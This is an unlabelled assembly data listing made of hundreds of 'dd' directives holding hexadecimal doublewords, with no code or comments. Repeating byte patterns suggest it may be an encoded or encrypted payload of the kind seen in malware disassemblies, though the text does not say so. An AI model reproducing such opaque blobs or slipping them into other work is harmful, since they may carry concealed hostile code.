		dd 48511108h, 0D9846DD3h, 9ED94849h, 5858B238h,	0D8984DD3h
		dd 5B1A4849h, 49D9F44Dh, 0AAF75748h, 0E563AF59h, 0A7A6A7F8h
		dd 0E5D3452Bh, 0A7A6A7ECh, 0CC6DE757h, 5B4849D9h, 49D8846Dh
		dd 5DB6DB48h, 0B8E56CD1h, 0A7485948h, 0A6A7ECDDh, 0D884F9A7h
		dd 875D4849h, 5B58585Bh, 49D88C5Dh, 0ECDD6148h,	57A7A6A7h
		dd 0A7A722DAh, 0DA58F9A7h, 5D5B4849h, 4849D9A4h, 0D15DB0DBh
		dd 0A6A7F4DDh, 0D37CB3A7h, 0A6A7F4E5h, 446DD3A7h, 5B4849D9h
		dd 49D9EC6Dh, 5EB6DB48h, 0B8E56C61h, 2C485948h,	0F4DDA779h
		dd 0F9A7A6A7h, 4849D914h, 585B855Dh, 4DE75758h,	4849D964h
		dd 0DD618859h, 0A7A6A7F4h, 0E5D3992Ah, 0A7A6A7F4h, 0A7FCEDD3h
		dd 6CD1A7A6h, 595878E5h, 502DD348h, 38E56CD1h, 0D14858A8h
		dd 0F3CDD2A0h, 0D0A7A6A7h, 79E85D4Ch, 0E7574859h, 49D9F05Dh
		dd 0C45D5B48h, 0DB4849D9h, 0DD615CB0h, 0A7A6A7D8h, 589ADE57h
		dd 6DD35858h, 4849D9B4h, 0A7A49ED9h, 0E7575858h, 49DA404Dh
		dd 3E8E5948h, 48256CD1h, 0F9485D72h, 4849D90Ch,	0DA785D5Bh
		dd 0B0DB4849h, 20DDD152h, 0B3A7A6A7h, 20E5D32Fh, 0D1A7A6A7h
		dd 5ABE99A6h, 0D90C4DD3h, 0E7574849h, 49D9C855h, 0DB925948h
		dd 4C6148B2h, 5948B86Dh, 57132C48h, 48254CEFh, 0D3485D72h
		dd 49D92055h, 0AE99D948h, 575858A7h, 0D9F05DE7h, 99594849h
		dd 722C9261h, 0A7FCCDD3h, 4C61A7A6h, 5958786Dh,	0D2432D48h
		dd 79E8654Ch, 0CD624859h, 0A7A6A7F3h, 64D5542Dh, 5D724825h
		dd 5FA73E48h, 0DDA763B3h, 0A7A6A720h, 49D8E0F9h, 5BBC5D48h
		dd 0DD615858h, 0A7A6A720h, 0A72BDA57h, 45B3A7A7h, 0A7F4E5D3h
		dd 6DD3A7A6h, 4849D9E4h, 0D9D06D5Bh, 0B6DB4849h, 6CD13E52h
		dd 5D724825h, 284DA748h, 0D3484902h, 0A6A7F4E5h, 0E55CD1A7h
		dd 48511108h, 0DAF06DD5h, 6CD14849h, 5948B8E5h,	0F4E5D348h
		dd 0D5A7A6A7h, 48B8E564h, 0E5D14859h, 0A7A6A724h, 0D308A0D1h
		dd 5C0EA768h, 0A7F4E5D3h, 64D5A7A6h, 5948B8E5h,	0C8E5D148h
		dd 3EA7A6A7h, 0A7D0DD9Fh, 5851A7A6h, 0A7D0EDD5h, 0B4DBA7A6h
		dd 0E1BFD148h, 5858585Ch, 0E5D3FDABh, 0A7A6A7DCh, 0A767D30Fh
		dd 5858FCCFh, 0D59BD158h, 0A6A7D0DDh, 4DA708A7h, 4849281Ch
		dd 0A7F4DDA7h, 0DDD3A7A6h, 0A7A6A7DCh, 0A768D308h, 0F8F9500Eh
		dd 0DB4849D9h, 0DD6150B0h, 0A7A6A7E4h, 0DDD3542Ch, 0A7A6A7E4h
		dd 0A768D308h, 0E757500Eh, 49DA185Dh, 50B0DB48h, 2CA41D61h
		dd 0A41DD351h, 0A768D308h
		dd 1DA7500Eh, 801DD3BCh, 57BC1D61h, 0A7A107DAh,	841DD3A7h
		dd 0A768D308h, 1DD3500Eh, 68D3088Ch, 69500EA7h,	3060798h
		dd 0D10D9B91h, 0CB4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A6B4h
		dd 5DE75708h, 4849D99Ch, 850B0DBh, 49D90CF9h, 50B0DB48h
		dd 57793208h, 0D93C5DE7h, 8104849h, 72584DA7h, 9BD1485Dh
		dd 0DD578351h, 5858594Dh, 8A81DD5h, 6C684DA7h, 84F94851h
		dd 574849D8h, 57A20DEFh, 0D3A015EFh, 49D9E445h,	6E9BDB48h
		dd 5993F757h, 15EF5792h, 45E757AEh, 4849D91Ch, 0D8B06DD3h
		dd 4D54849h, 0F7574B6Bh, 45E75793h, 4849DA18h, 576C9BDBh
		dd 925993F7h, 0AA15EF57h, 4045E757h, 0D34849D9h, 49D9886Dh
		dd 6B04D548h, 93F75757h, 0D91445D3h, 9BDB4849h,	6DE7574Dh
		dd 4849D910h, 0F757AB59h, 45E75793h, 4849D964h,	0D97C6DD3h
		dd 4D54849h, 0F757696Bh, 57925993h, 0D3A815EFh,	49D88445h
		dd 509BDB48h, 0D393F757h, 49D9D045h, 499BDB48h,	0D90C455Bh
		dd 0F7574849h, 45E75793h, 4849D8A0h, 575B1CD5h,	0F990F757h
		dd 4849D9E0h, 5B6C98DBh, 49D9085Dh, 90F75748h, 905988D1h
		dd 58A868FBh, 0DA74F948h, 5D5B4849h, 4849D9D8h,	0D15EB0DBh
		dd 0A7A592DDh, 0F6EDD5A7h, 0D9A7A7A5h, 585918B4h, 0E1BFD158h
		dd 585858C7h, 0D5FD3EABh, 0A7A6B4E5h, 9AB00FA7h, 0D9A7A7CEh
		dd 58591C9Ch, 3060758h,	0D10D9B91h, 4858E0BDh, 82B05858h
		dd 0B585875h, 0E1300F0Eh, 0B04849DFh, 0A7A7DB48h, 706DD301h
		dd 0DB4849DAh, 80E50B6h, 486DE757h, 0DB4849DAh,	0A70E5DB6h
		dd 4DA7502Dh, 48550168h, 5CF99FD1h, 0DB4849DAh,	9F615AB0h
		dd 25D35B2Dh, 0DFFB3050h, 8DB04849h, 1A7A7DAh, 0D9D86DD3h
		dd 0E7574849h, 49DA1845h, 0DB865948h, 80E50B6h,	0EC6DE757h
		dd 5B4849D8h, 49D9006Dh, 50B6DB48h, 4DA70F0Eh, 48550168h
		dd 0DDD59FD1h, 0A7A7A859h, 57A73008h, 55325858h, 404DA70Fh
		dd 0F94858A8h, 4849D8C8h, 0D9EC5D5Bh, 0E4D84849h, 0A7B7A15Dh
		dd 4B2D78A7h, 49DA54F9h, 5DE4D848h, 0A7A7B7A6h,	0C8DC5778h
		dd 0D5585858h, 0A7A859D5h, 0A790DBA7h, 5964D818h, 0D3A12D58h
		dd 49D8B445h, 549BDB48h, 2B2A8061h, 49D8F4F9h, 5DE4D848h
		dd 0A7A7B7A2h, 0F9572D30h, 4849DA14h, 0A15DE4D8h, 2CA7A7B7h
		dd 0C6300D2Ch, 0B04849DFh, 0A7A7DA7Ch, 3C6DE757h, 0DB4849D9h
		dd 80E5B9Eh, 0A859EDD5h, 0B00EA7A7h, 0A7A7ED6Fh, 57489CDBh
		dd 0D8F045E7h, 9BD94849h, 5858A7A7h, 472D8061h,	49DFC030h
		dd 0D9B6B048h, 801A7A7h, 0D9BC6DD3h, 0B6DB4849h, 54320E5Ch
		dd 404DA70Fh, 74858A8h,	9B910306h, 0FBDD10Dh, 0A7502DA7h
		dd 49DA006Dh, 0F44DA748h, 0D1485979h, 9B05079Fh, 0B0BDD10Dh
		dd 0A7A7A576h, 49DA5CF9h, 2E98DB48h, 0D8B84DD3h, 9AD94849h
		dd 5858B200h, 0D97C4D5Bh, 0F7574849h, 4DA7089Ah, 4855017Ch
		dd 58CB301h, 0D585C9Ah,	4CE0BDD1h, 0B0585F47h, 58587461h
		dd 0D50F0E0Bh, 0A3A9D8DDh, 4DA708A7h, 4858A810h, 0A934DDD5h
		dd 0D508A7A3h, 0A3A9D8DDh, 513208A7h, 49D9BCF9h, 5CB0DB48h
		dd 502DA708h, 6A7C4DA7h, 9BD14851h, 49D958F9h, 785D5B48h
		dd 0DB4849DAh, 9B6153B0h, 5658DD57h, 0B8F95858h, 0DB4849D8h
		dd 0DDD15EB0h, 0A7A3A9F8h, 0A9D0D5D3h, 0D5D1A7A3h, 0A7A3A9C4h
		dd 0A9F8D5D5h, 3009A7A3h, 4849C2F0h, 0A9C4DDD3h, 0D308A7A3h
		dd 654CA760h, 58585858h, 6CF99BD1h, 5B4849DAh, 49D9145Dh
		dd 52B0DB48h, 0DD579B61h, 585855EAh, 0A924DDD5h, 0D308A7A3h
		dd 0A3A9F8DDh, 60D308A7h, 0D1200FA7h, 0D8E4F99Bh, 5D5B4849h
		dd 4849D9B8h, 615CB0DBh, 23DD579Bh, 0D5585855h,	0A3A9F1DDh
		dd 0EDA708A7h, 0A7A3A924h, 0A7C9F6B0h, 509CDBA7h, 0D11F9FD1h
		dd 0A3A930E5h, 24EDA7A7h, 0A7A7A3A9h, 49376C4Dh, 0F1E5D848h
		dd 30A7A3A9h, 0E5D8432Dh, 0A7A3A9F2h, 0D84A2D2Ch, 0A3A9F3E5h
		dd 512D2CA7h, 0A9F4E5D8h, 2C28A7A3h, 5570B15Dh,	0DDD55858h
		dd 0A7A4A9ECh, 0F8DDD308h, 8A7A3A9h, 0CFA760D3h, 585858CCh
		dd 0DCF99BD1h, 5B4849D9h, 49D9D45Dh, 5DB0DB48h,	492C9B61h
		dd 49D9D8F9h, 0E45D5B48h, 0D14849D8h, 0A4A9ECDDh, 0C0DDD5A7h
		dd 8A7A3A9h, 0A9F8DDD3h, 0D308A7A3h, 100FA760h,	68F99BD1h
		dd 104849D9h, 0DD579B61h, 58585492h, 0A9CCDDD5h, 3008A7A3h
		dd 4849C270h, 0A9C0DDD3h, 0D308A7A3h, 654CA760h, 58585858h
		dd 54F99BD1h, 0DB4849D9h, 9B615AB0h, 54C8DD57h,	0DDD55858h
		dd 0A7A3A9C8h, 0CCDDD308h, 8A7A3A9h, 0FA760D3h,	0F99BD104h
		dd 4849D97Ch, 0D8C85D5Bh, 0B0DB4849h, 579B615Eh, 585401DDh
		dd 28DDD558h, 8A7A3A9h,	0A9C8DDD3h, 0D308A7A3h,	780FA760h
		dd 98F99BD1h, 5B4849D9h, 49DA585Dh, 5EB0DB48h, 0DD579B61h
		dd 5858547Ah, 49D98CF9h, 645D5B48h, 0DB4849DAh,	80AF5FB0h
		dd 0A9FCDDD1h, 0D030A7A3h, 0B04849DFh, 0A7A7EB6Ah, 544DA708h
		dd 0D1485958h, 0A4A9E4DDh, 0DF2C30A7h, 43B04849h, 8A7A7EBh
		dd 58544DA7h, 0DDD14859h, 0A7A4A9E0h, 0C45DE757h, 0D34849D8h
		dd 49DA744Dh, 5FB2DB48h, 0E45DCCD0h, 0F9A7A4AAh, 4849D8B8h
		dd 0D9285D5Bh, 0DC9E4849h, 0A4AAEE5Dh, 10F91CA7h, 574849DAh
		dd 0D8944DE7h, 88594849h, 0E45DDC9Eh, 24A7A4AAh, 0A9F1DDD5h
		dd 0D508A7A3h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 57489CDBh
		dd 0D9CC5DE7h, 0D1104849h, 0A3A92CDDh, 0D94CF9A7h, 5D5B4849h
		dd 4849D908h, 0D15DB0DBh, 0A3A920DDh, 5DE757A7h, 4849D93Ch
		dd 0D9E45D5Bh, 0B0DB4849h, 6180AF5Eh, 0A3A9FCDDh, 0D51F2DA7h
		dd 0A4A9F4DDh, 0DDD308A7h, 0A7A3A9CCh, 0A760D308h, 9BD1600Fh
		dd 485DE757h, 0DB4849DAh, 9B615DB0h, 52BEDD57h,	3B305858h
		dd 0B04849DFh, 0A7A72624h, 98E5D508h, 0FA7A4AAh, 0A8744DA7h
		dd 9CDB4858h, 5944B154h, 9F3E5858h, 0A3A900DDh,	0D3584FA7h
		dd 0A3A9FCDDh, 38DDD1A7h, 0D5A7A3A9h, 0A3A910DDh, 0DDD508A7h
		dd 0A7A3A900h, 0C8DDD308h, 8A7A3A9h, 0EA768D3h,	20DDD544h
		dd 8A7A3A9h, 49C22030h,	8EDA748h, 0D3A7A3A9h, 0A3A908E5h
		dd 0A767D3A7h, 5858654Ch, 9BD15858h, 49D9A0F9h,	0DC5D5B48h
		dd 0DB4849D9h, 9B615FB0h, 5206DD57h, 0DDD55858h, 0A7A3A92Ch
		dd 20DDD308h, 8A7A3A9h,	0CFA760D3h, 58585888h, 60F99BD1h
		dd 5B4849DAh, 49DA445Dh, 5CB0DB48h, 492C9B61h, 0A920DDD3h
		dd 0D308A7A3h, 500EA768h, 58527BB1h, 0F4DDD558h, 8A7A4A9h
		dd 0A92CDDD3h, 0D308A7A3h, 600FA760h, 58F99BD1h, 5B4849D9h
		dd 49DA6C5Dh, 49B0DB48h, 452C9B61h, 0A92CDDD3h,	0D308A7A3h
		dd 500EA768h, 0A920DDD3h, 0D308A7A3h, 500EA768h, 585187B1h
		dd 0DF0C3058h, 2DB04849h, 0A7A7A725h, 0A3A9FCEDh, 0E5D508A7h
		dd 0A7A4A999h, 704DA70Fh, 0D5485501h, 0A4A999DDh, 0DDD508A7h
		dd 0A7A4AA98h, 744DA708h, 0DB4858A8h, 0DDD5409Ch, 0A7A4A9F0h
		dd 0F4DDD308h, 8A7A4A9h, 0FA760D3h, 0F99BD17Ch,	4849D890h
		dd 0D8FC5D5Bh, 0B0DB4849h, 579B6150h, 585127DDh, 5DE75758h
		dd 4849D89Ch, 0D15EB0DBh, 0A4A9E8DDh, 5100B1A7h, 9F3E5858h
		dd 0A1A968DDh, 0D3585AA7h, 0A4A9E8DDh, 60DDD1A7h, 57A7A1A9h
		dd 0D99C5DE7h, 5D5B4849h, 4849D9ACh, 0D9044DD3h, 0B2DB4849h
		dd 5DCCD05Ch, 0A7A2A90Ch, 0A918DDD5h, 0D508A7A1h, 0A1A968EDh
		dd 48B4DBA7h, 5CE1BFD1h, 0AB585858h, 68EDD5FDh,	0DBA7A1A9h
		dd 0BFD148B4h, 58585CE1h
		dd 0D3FDAB58h, 0A4A9F4E5h, 67D30FA7h, 0D1740FA7h, 5DE7579Bh
		dd 4849D89Ch, 615EB0DBh, 8DDD579Bh, 30585850h, 4849DF1Eh
		dd 0A724DBB0h, 0E8EDA7A7h, 8A7A4A9h, 0A999E5D5h, 0A70FA7A4h
		dd 5501704Dh, 99DDD548h, 8A7A4A9h, 0AA98DDD5h, 0A708A7A4h
		dd 58A8744Dh, 409CDB48h, 945DE757h, 5B4849D8h, 49D9BC5Dh
		dd 5DB0DB48h, 0A974DDD1h, 0DDD5A7A1h, 0A7A1A974h, 0C2103008h
		dd 0DDD34849h, 0A7A1A918h, 0A760D308h, 5858654Ch, 9BD15858h
		dd 49DA74F9h, 7C5D5B48h, 0DB4849DAh, 9B6150B0h,	5CEFDD57h
		dd 0DDD55858h, 0A7A1A970h, 74DDD308h, 8A7A1A9h,	0CFA760D3h
		dd 585858A8h, 0CF99BD1h, 5B4849D9h, 49D92C5Dh, 57B0DB48h
		dd 0DD579B61h, 58585C25h, 0A939DDD5h, 0A708A7A1h, 0A1A970EDh
		dd 0D48DB0A7h, 9CDBA7A7h, 1F9FD150h, 0A910E5D1h, 0EDA7A7A1h
		dd 0A7A1A970h, 376C4DA7h, 10F94849h, 0DB4849DAh, 0DDD15CB0h
		dd 0A7A3A93Ch, 0DDD312B3h, 0A7A3A93Ch, 5DDCE657h, 0A7A1A939h
		dd 0D9F44DD3h, 9ADB4849h, 2C886153h, 6C4DD34Bh,	0DB4849D9h
		dd 4D5B5C9Ah, 4849D928h, 4E2D8861h, 0A93CDDD3h,	4DD3A7A3h
		dd 4849D904h, 0D05CB2DBh, 0A9395DCCh, 0DDA7A7A1h, 0A7A3A93Ch
		dd 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0DDD5F02Ah, 0A7A1A939h
		dd 3DDDD508h, 8A7A2A9h,	587E40B0h, 5DE75758h, 4849D8C4h
		dd 0D97C5D5Bh, 0B0DB4849h, 3CDDD150h, 0D3A7A3A9h, 0A3A93CDDh
		dd 5DD4D5A7h, 0A7A1A939h, 18A790DBh, 585964D8h,	0DDD1A12Dh
		dd 0A7A1A900h, 0DA644DD3h, 89D14849h, 90618959h, 0E757402Ch
		dd 49DA404Dh, 0B855D348h, 0D54849D8h, 589A52CCh, 88615858h
		dd 88B15D2Eh, 57585858h, 0DA1C5DE7h, 0B0DB4849h, 4DDD15Fh
		dd 0B3A7A1A9h, 3CDDD370h, 5BA7A3A9h, 0A1A904DDh, 0DCE657A7h
		dd 0A1A9395Dh, 4DE757A7h, 4849D8A4h, 61469ADBh,	0A74C2D88h
		dd 0A1A904DDh, 0DDD3A7h, 61A7A1A9h, 0A1A904DDh,	0D3922AA7h
		dd 0A1A900DDh, 4DD61A7h, 2CA7A1A9h, 5DE75722h, 4849D8A4h
		dd 0DDD30810h, 0A7A3A93Ch, 395DDCD5h, 8A7A1A9h,	0A93DDDD5h
		dd 0B008A7A2h, 0A7A7F5D7h, 0D1549CDBh, 0A1A97CDDh, 0D9D8F9A7h
		dd 0AF5D4849h, 5B5858A7h, 49DA6C5Dh, 7CDD6148h,	2DA7A1A9h
		dd 0DF19306Eh, 61B04849h, 8A7A722h, 0A93DE5D5h,	0A70FA7A2h
		dd 58A8744Dh, 3CDDD348h, 0D5A7A3A9h, 0A9395DDCh, 0D508A7A1h
		dd 0A2A93DDDh, 4DA708A7h, 4858A874h, 0D34C9CDBh, 0A1A900DDh
		dd 0C44DD3A7h, 5B4849D9h, 49D9984Dh, 5CB2DB48h,	0DD598859h
		dd 0A7A3A93Ch, 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0A6E1DA57h
		dd 54F9A7A7h, 0DB4849DAh, 0DDD15CB0h, 0A7A1A914h, 0A93DD5D5h
		dd 90DBA7A2h, 64D818A7h, 0A12D5859h, 0A900DDD1h, 98F9A7A1h
		dd 0DB4849D9h, 0DDD159B0h, 0A7A3A93Ch, 585A4BB1h, 3CDDD358h
		dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D96C4Dh,	4D9ADB48h
		dd 0D8C04D5Bh, 88614849h, 0FDDB5F2Ch, 0A7A1A90Ch, 3CDDD358h
		dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D9844Dh,	789ADB48h
		dd 0DD578861h, 5858592Ah, 49D9DCF9h, 5CB0DB48h,	0A93CDD61h
		dd 0DE57A7A3h, 585858E8h, 0A93CDDD3h, 0E757A7A3h, 49D9704Dh
		dd 4D5B48h, 0DB4849D9h,	88715FB2h, 3D5DDCD2h, 0D0A7A2A9h
		dd 0A1A97BDDh, 0DDEE57A7h, 0A7A1A97Bh, 0D9144DD3h, 9ADB4849h
		dd 26886146h, 0B04DD355h, 0DB4849D8h, 8861779Ah, 0EE573824h
		dd 0A1A97BDDh, 4DE757A7h, 4849D93Ch, 0D9F455D3h, 0CD54849h
		dd 88616E52h, 0E7574D26h, 49D9944Dh, 0F855D348h, 0D54849D9h
		dd 6168520Ch, 57772488h, 0A97BDDEEh, 0E757A7A1h, 49D9CC4Dh
		dd 0B855D348h, 0D54849D8h, 612B520Ch, 0D3452688h, 49D8F44Dh
		dd 209ADB48h, 0D9844D5Bh, 88614849h, 0DD9F5225h, 0A7A1A90Ch
		dd 58585859h, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 58C4DB57h
		dd 0DDD35858h, 0A7A3A93Ch, 0D8C04DD3h, 0B2DB4849h, 0D2885950h
		dd 0A93D5DDCh, 0DDD0A7A2h, 0A7A1A97Bh, 7BDDEE57h, 0D3A7A1A9h
		dd 49D9AC4Dh, 4D9ADB48h, 0DA5C4D5Bh, 88614849h,	4DD34E26h
		dd 4849D9D0h, 57719ADBh, 0D8CC55E7h, 92594849h,	1C248861h
		dd 7BDDEE57h, 0D3A7A1A9h, 49DA444Dh, 6D9ADB48h,	55268861h
		dd 0D9A04DD3h, 9ADB4849h, 24886166h, 0DDEE577Bh, 0A7A1A97Bh
		dd 604DE757h, 0DB4849D9h, 88612F9Ah, 0E7574026h, 49D8944Dh
		dd 269ADB48h, 52258861h, 0A90CDD9Fh, 5859A7A1h,	0E5DB5858h
		dd 0A7A1A90Ch, 0D3782D58h, 0A1A914DDh, 3CCDD3A7h, 0D2A7A3A9h
		dd 0A93D4DCCh, 0CCD0A7A2h, 0A2A93D5Dh, 14DDA7A7h, 0D3A7A1A9h
		dd 0A3A93CDDh, 0DCEE57A7h, 0A2A93D5Dh, 804DD3A7h, 0DB4849D8h
		dd 4D5B409Ah, 4849D954h, 522D8861h, 0A90CDD9Fh,	5859A7A1h
		dd 0DDA75858h, 0A7A3A93Ch, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch
		dd 0A583DA57h, 0DDD3A7A7h, 0A7A1A914h, 0D9E84DD3h, 0E7574849h
		dd 49D8C455h, 0DB925948h, 0CCD055B2h, 0A2A93D5Dh, 74DDD3A7h
		dd 8A7A1A9h, 0EA768D3h,	5DE75750h, 4849D964h, 0D151B0DBh
		dd 0A1A908DDh, 8DDD5A7h, 8A7A1A9h, 49C20030h, 18DDD348h
		dd 8A7A1A9h, 4CA760D3h,	58585865h, 0F99BD158h, 4849DA5Ch
		dd 0D9D85D5Bh, 0B0DB4849h, 579B615Ah, 585AB6DDh, 1CDDD558h
		dd 8A7A1A9h, 0A908DDD3h, 0D308A7A1h, 340FA760h,	7CF99BD1h
		dd 574849D9h, 0D9704DE7h, 88594849h, 615FB0DBh,	0ECDD579Bh
		dd 0F958585Ah, 4849DA6Ch, 0D150B0DBh, 0A2A938DDh, 5AD7B1A7h
		dd 38F95858h, 5B4849D9h, 49D92C5Dh, 56B0DB48h, 7C4DA708h
		dd 1485501h, 0A0DD9F3Eh, 5AA7A0A8h, 38DDD358h, 0D1A7A2A9h
		dd 0A0A958DDh, 0ACDDD5A7h, 8A7A0A8h, 0A8A0EDD5h, 0B4DBA7A0h
		dd 0E1BFD148h, 5858585Ch, 0EDD5FDABh, 0A7A0A8A0h, 0D148B4DBh
		dd 585CE1BFh, 0FDAB5858h, 0A908E5D3h, 0D30FA7A1h, 2C0FA767h
		dd 0E7579BD1h, 49DA485Dh, 4DE75748h, 4849D894h,	0B0DB8859h
		dd 579B615Eh, 585A52DDh, 5DE75758h, 4849D8CCh, 0D8F85D5Bh
		dd 0B0DB4849h, 54DDD15Dh, 0D5A7A0A9h, 0A0A954DDh, 103008A7h
		dd 0D34849C2h, 0A0A8ACDDh, 60D308A7h, 58654CA7h, 0D1585858h
		dd 5DE7579Bh, 4849D9F0h, 0DA785D5Bh, 0B0DB4849h, 579B615Ah
		dd 5859EADDh, 48DDD558h, 8A7A1A9h, 705DE757h, 0DB4849D9h
		dd 0A7085DB0h, 0A4A9E0EDh, 54DDD3A7h, 8A7A0A9h,	0FA760D3h
		dd 519BD178h, 3E522D83h, 0A948E5DBh, 2C50A7A1h,	5935B15Dh
		dd 54F95858h, 5B4849DAh, 49D9D45Dh, 4DE75748h, 4849D964h
		dd 0D051B2DBh, 0A9545DCCh, 0DDD5A7A0h, 0A7A0A949h, 40EDA708h
		dd 0B0A7A1A9h, 0A7A7DEFFh, 0D1509CDBh, 0E5D11F9Fh, 0A7A0B8A8h
		dd 0A940EDA7h, 4DA7A7A1h, 4849376Ch, 49D96CF9h,	4DE75748h
		dd 4849D8CCh, 4DCCE657h, 0A7A0A957h, 995999D1h,	0B0DB90D1h
		dd 579A615Ch, 58595ADCh, 0ECEDA758h, 0D5A7A4A9h, 0A0A949DDh
		dd 26B008A7h, 0DBA7A715h, 0DDD5509Ch, 0A7A1A948h, 0D978F908h
		dd 0B0DB4849h, 0EDA70850h, 0A7A4A9E4h, 0A954DDD3h, 0D308A7A0h
		dd 780FA760h, 78F99BD1h, 5B4849DAh, 49DA145Dh, 4DE75748h
		dd 4849D940h, 0D050B2DBh, 0B8B25DCCh, 8351A7A0h, 0DB3E6C2Dh
		dd 0A1A948E5h, 722D50A7h, 0B8ADDDD5h, 0A708A7A0h, 0A1A940EDh
		dd 0DDADB0A7h, 9CDBA7A7h, 1F9FD150h, 0B8B4E5D1h, 0EDA7A7A0h
		dd 0A7A1A940h, 376C4DA7h, 61304849h, 0B04849DFh, 0A7A72C94h
		dd 0A938EDA7h, 0D508A7A2h, 0A4A999E5h, 4DA70FA7h, 48550170h
		dd 0A999DDD5h, 0D508A7A4h
		dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 0B8ADDDD5h, 0D508A7A0h
		dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 49DF6C30h,	2CDEB048h
		dd 0D508A7A7h, 0A4AA98E5h, 4DA70FA7h, 4858A874h, 0A949DDD5h
		dd 0D508A7A0h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 0D36C9CDBh
		dd 0A0A954DDh, 68D308A7h, 0D3500EA7h, 0A0A8ACDDh, 68D308A7h
		dd 0A7500EA7h, 0A2A938DDh, 1CDDD3A7h, 61A7A1A9h, 0A2A938DDh
		dd 7DA57A7h, 0D3A7A7A5h, 0A1A908DDh, 68D308A7h,	0D3500EA7h
		dd 0A1A918DDh, 68D308A7h, 57500EA7h, 0A93DDDEEh, 4DD3A7A2h
		dd 4849D974h, 0D9D84D5Bh, 0B2DB4849h, 2C886150h, 0DF76301Fh
		dd 0ADB04849h, 8A7A72Bh, 0AA98E5D5h, 0A70FA7A4h, 58A8744Dh
		dd 3DDDD548h, 8A7A2A9h,	0AA98DDD5h, 0A708A7A4h,	58A8744Dh
		dd 0DF713048h, 91B04849h, 8A7A72Bh, 0AA98E5D5h,	0A70FA7A4h
		dd 58A8744Dh, 789CDB48h, 0A9E8DDA7h, 0DDD3A7A4h, 0A7A4A9F0h
		dd 0A9E8DD61h, 0DA57A7A4h, 0A7A7AECEh, 0A9FCDDA7h, 0DDD3A7A3h
		dd 0A7A3A928h, 0A9FCDD61h, 0D457A7A3h, 0A7A7ACC7h, 0AA98DDD5h
		dd 0A708A7A4h, 5501444Dh, 0EDA70148h, 0A7A4A9E0h, 376C4DA7h
		dd 0EDA74849h, 0A7A4A9E4h, 376C4DA7h, 0DDD34849h, 0A7A3A9C8h
		dd 0A768D308h, 0DDD3500Eh, 0A7A3A9CCh, 0A768D308h, 0DDD3500Eh
		dd 0A7A3A9C0h, 0A768D308h, 0DDD3500Eh, 0A7A3A9C4h, 0A768D308h
		dd 607500Eh, 0D9B9103h,	0E030BDD1h, 0A748597Dh,	5D71A04Dh
		dd 7DE0F948h, 9A054859h, 0D10D585Ch, 0B0809BDh,	58320F0Eh
		dd 5858D830h, 325B3258h, 305B3258h, 0D8585858h,	0A7502DA7h
		dd 4933404Dh, 0DB9FD148h, 462DA7A7h, 585425DBh,	1DD34C2Ch
		dd 784DD354h, 5B4849DAh, 49D9C44Dh, 5EB2DB48h, 986948D1h
		dd 0ECF917B3h, 0DB4849D9h, 0F085CB0h, 1484DA7h,	9ED14851h
		dd 84898DBh, 4DA71832h,	485D71B4h, 6DA79BD1h, 4849D9A4h
		dd 585425DBh, 1DD3502Ch, 0A01DD154h, 1DD55EB3h,	0A01DD1A4h
		dd 0EA02DA7h, 4DA70F0Bh, 4858A86Ch, 104DA70Fh, 0D1485111h
		dd 3060780h, 59E09B91h,	9AD85818h, 300F5848h, 4849DF41h
		dd 0A72A3FB0h, 0A70801A7h, 597DC04Dh, 0DA20FB48h, 30F94849h
		dd 5B4849D9h, 49D9245Dh, 51B0DB48h, 0DA205D61h,	4F2D4849h
		dd 49DF5130h, 2A62B048h, 801A7A7h, 6A404DA7h, 20FB485Dh
		dd 304849DAh, 4849DEB4h, 0A72A7BB0h, 0F9B008A7h, 0FB58585Ch
		dd 485D69BCh, 49DE9730h, 2A56B048h, 0B008A7A7h,	58585CD4h
		dd 5979F0FBh, 0DE983048h, 0A1B04849h, 8A7A729h,	585C2FB0h
		dd 15CFB58h, 0FF304851h, 0B04849DEh, 0A7A729BCh, 5C3AB008h
		dd 44FB5858h, 30485110h, 4849DED4h, 0A72997B0h,	15B008A7h
		dd 0FB58585Ch, 4858A808h, 49DE2B30h, 29E2B048h,	0B008A7A7h
		dd 58585C60h, 58A878FBh, 0DE073048h, 0FDB04849h, 8A7A729h
		dd 585C7BB0h, 130FB58h,	11304849h, 0B04849DEh, 0A7A729C8h
		dd 5C56B008h, 84FB5858h, 30485D71h, 4849DE73h, 0A72923B0h
		dd 0A1B008A7h, 0FB58585Bh, 485D71B0h, 49DE4230h, 293EB048h
		dd 0B008A7A7h, 58585BBCh, 597DC4FBh, 0DE523048h, 9B04849h
		dd 8A7A729h, 585B97B0h,	7DF8FB58h, 0B2304859h, 0B04849DDh
		dd 0A7A72964h, 5BE2B008h, 50FB5858h, 30485958h,	4849DD8Bh
		dd 0A7297FB0h, 0FDB008A7h, 0FB58585Bh, 48510154h, 49DDE730h
		dd 294AB048h, 0B008A7A7h, 58585BC8h, 5978D8FBh,	0DDF33048h
		dd 0A5B04849h, 8A7A728h, 585B23B0h, 209CDB58h, 58A814FBh
		dd 0D9B0748h, 0A70FBDD1h, 6DA7502Dh, 4849DA04h,	79F44DA7h
		dd 9FD14859h, 0D9B0507h, 0B09BDD1h, 1DEE570Fh, 5852E150h
		dd 95E25858h, 0AF949494h, 5BB299BAh, 0D1A40DD1h, 399FDB8Fh
		dd 5D0A3D1h, 5025D850h,	0D85C2D32h, 0D259501Dh,	3D64501Dh
		dd 21644C2Ch, 2D64482Ch, 3164542Ch, 3764502Ch, 39645C2Ch
		dd 1DD85C2Dh, 0EE575950h, 307501Dh, 0D10D9B91h,	4858E0BDh
		dd 76B05858h, 0E585843h, 0A75D320Fh, 4DA7502Dh,	4858A85Ch
		dd 54F99FD1h, 0DB4849DAh, 9F615CB0h, 98695C2Dh,	0A73009B3h
		dd 0D5585857h, 0A7A859DDh, 0A70F08A7h, 5957884Dh, 5DE75748h
		dd 4849D940h, 85FB0DBh,	0D5542DA7h, 0A7A859DDh,	8B008A7h
		dd 0DBA7A7FBh, 6DD3549Ch, 4849D8BCh, 0A7A29ED9h, 0A8615858h
